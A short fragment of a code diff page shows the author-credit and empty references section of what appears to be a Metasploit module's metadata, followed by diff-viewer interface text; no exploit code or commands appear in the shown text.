||||
'Alexander Borg', # Vulnerability disclosure
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue